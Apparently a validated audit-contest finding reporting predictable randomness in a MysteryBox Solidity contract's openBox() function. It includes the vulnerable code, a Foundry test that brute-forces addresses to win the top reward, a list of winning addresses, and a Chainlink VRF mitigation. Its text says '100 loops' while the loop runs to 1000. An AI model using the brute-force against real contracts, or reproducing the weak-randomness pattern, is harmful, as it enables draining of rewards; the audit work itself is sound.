Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: medium
Valid

`MysteryBox::openBox()` has Pseudo/Weak Randomness

Description:

Impact: High
Likelihood: High

The MysteryBox::openBox() function employs a so called Pseudo Randomness which makes it possible to predict the outcome of the function.

Vulnerable Code:

function openBox() public {
require(boxesOwned[msg.sender] > 0, "No boxes to open");
// Generate a random number between 0 and 99
// @audit-h garbage random
@> uint256 randomValue = uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender))) % 100;
// Determine the reward based on probability
if (randomValue < 75) {
// 75% chance to get Coal (0-74)
rewardsOwned[msg.sender].push(Reward("Coal", 0 ether));
} else if (randomValue < 95) {
// 20% chance to get Bronze Coin (75-94)
rewardsOwned[msg.sender].push(Reward("Bronze Coin", 0.1 ether));
} else if (randomValue < 99) {
// 4% chance to get Silver Coin (95-98)
rewardsOwned[msg.sender].push(Reward("Silver Coin", 0.5 ether));
} else {
// 1% chance to get Gold Coin (99)
rewardsOwned[msg.sender].push(Reward("Gold Coin", 1 ether));
}
// Doesnt Follow CEI
boxesOwned[msg.sender] -= 1;
}

Impact:

Miners can directly force which reward they want to get when using MysteryBox::openBox() by either determining a block.timestamp in the future in which they want to open their box or alternatively mint new addresses until they have a suitable fit for the upcoming block.

Tools Used:

Manual Review and Forge.

Proof of Concept:

The following test and console output for example shows that MysteryBox::openBox() will always return the highest reward on block.timestamp = 1641070805 for the following addresses.

0x1aC6F9601f2F616badcEa8A0a307e1A3C14767A4
0x1ACE6Ed713Cf442667283E03E9707455C9C1b064
0xc62BcBA1e35d68B9b0Dd3F4E621723c8E50890fc
0xBD3620646aA3d0259f99DFd0125725eC6349Ede2
0x1804441f896dE428ECF5D0ED1A015730b8ce12ca
0xBB01731A5E6393D7C60033D744AE0E9Ce2E78139
0x9535828bBbE5436717f44dfFd6e2d162Be84987c
0x3A108c0FfFd2C90539A080C940794698f50eF9C3
0x0e4D535c5CD3cE0ac5058e968c62e8A1ea235b8F

To verify the results use the following test in your existing repo:

function testFindMagicAddress() public {
vm.warp(1641070805);
uint256 i;
for (i = 1; i <= 1000; i++) {
address user = vm.addr(i);
uint256 randomValue = uint256(keccak256(abi.encodePacked(block.timestamp, user))) % 100;
if (randomValue == 99) {
console.log(user);
}
}
}

In this example it is obviously possible to win the highest value price with 9 addresses on given block.timestamp. Note: 9 addresses within only 100 loops totalling a compute time of roughly 50ms.

Ran 1 test suite in 50.31ms (49.50ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommended Mitigation:

  1. Use Chainlink VRF instead of predictable hashing.

Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Randomness

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!